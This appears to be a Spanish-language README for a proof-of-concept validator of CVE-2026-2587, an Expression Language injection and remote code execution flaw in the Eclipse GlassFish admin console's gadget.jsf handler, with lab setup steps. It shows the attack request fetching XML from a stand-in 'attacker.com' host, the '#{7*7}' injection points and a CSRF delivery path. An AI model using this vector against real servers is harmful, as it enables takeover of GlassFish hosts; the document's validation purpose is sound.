Validador de PoC para CVE-2026-2587 de inyección EL (Expression Language) y ejecución remota de código (RCE) en Eclipse GlassFish en el manejador gadget.jsf de la consola de administración. Escáner de vulnerabilidades autenticado y seguro para pruebas autorizadas.
Validador PoC seguro para CVE-2026-2587, un problema crítico de inyección EL/RCE que afecta el manejo de gadgets de la consola de administración de Eclipse GlassFish a través de /common/gadgets/gadget.jsf.
Esta herramienta ayuda a los equipos de seguridad a validar la exposición a CVE-2026-2587 en entornos autorizados utilizando un canario EL aritmético benigno.
Asignado por: Eclipse Foundation (CNA) · Publicado: 19 de mayo de 2026 CVSS:
9.6 Crítico·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Inyección de Expression Language Versiones afectadas:Desconocidoen el aviso público al 21 de mayo de 2026 Versiones parcheadas:Desconocidoen el aviso público al 21 de mayo de 2026 Regla del escáner: la versión es solo contexto de enrutamiento/informe; el veredicto requiere prueba.
Existe una vulnerabilidad crítica de ejecución remota de código en el manejador de gadgets de la consola de administración de GlassFish. La aplicación procesa archivos .xml obtenidos de una URL suministrada a través del parámetro de consulta gadget= y evalúa los valores proporcionados por el usuario dentro de los atributos <ModulePrefs> mediante el motor de Java Expression Language (EL) sin saneamiento ni escape.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Si el XML contiene `#{7*7}` en un atributo `<ModulePrefs title="">`, GlassFish lo evalúa en el lado del servidor y devuelve `49` — confirmando la ejecución de EL. Una cadena completa de RCE sigue a través del acceso de EL al runtime de Java.
Los registros públicos de avisos actuales no publican un límite de versión afectada o parcheada. Por lo tanto, este validador se basa primero en la evidencia: identifica GlassFish e informa metadatos de versión, pero no clasifica un objetivo como vulnerable solo a partir de una cadena de versión.
---
## Cómo Funciona

La ruta de validación segura aloja una sonda XML benigna, envía una solicitud autenticada de la consola de administración a `gadget.jsf`, permite que GlassFish obtenga ese XML desde la URL de callback, y verifica si el canary `<ModulePrefs title="">` evalúa de `#{7*7}` a `49`.
**Punto de inyección confirmado vs. no:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Escenario | ¿Autenticación necesaria? |
|---|---|
Golpe directo a gadget.jsf | Sí — autenticación FORM, página de inicio de sesión 200 |
| Ataque CSRF real | No — aprovecha la sesión activa del administrador |
| Este validador | Sí — --cookie o --username/--password |
| Verificación de exposición no autenticada | No — el script lo prueba automáticamente |
El vector CVSS PR:N / UI:R significa:
PR:N — el atacante no necesita credenciales propiasUI:R — un administrador autenticado debe interactuar (entrega CSRF)Para la validación en laboratorio, omita CSRF por completo — use su propia sesión de administrador directamente.
Requisitos: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Contenido del repositorio:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Advertencia: GHSA aún lista las versiones afectadas y parcheadas como desconocidas.
omnifish/glassfish:7.0.15es un buen candidato de laboratorio — no una compilación garantizada como vulnerable. La primitiva de validación sigue siendo el canario aritmético: si#{7*7}se evalúa como49, EL está activo.
docker compose -f docker-compose.lab.yml up
Levanta GlassFish 7.0.15 con puertos enlazados solo a `127.0.0.1` y `host.docker.internal` preconfigurado para que el contenedor pueda alcanzar tu servidor XML local.
### Opción B — ejecución simple de docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Admin console: https://localhost:4848 · Login: admin / admin
(Certificado autofirmado — se espera una advertencia del navegador.)
En una segunda terminal:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Verificar la accesibilidad desde la perspectiva del contenedor:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5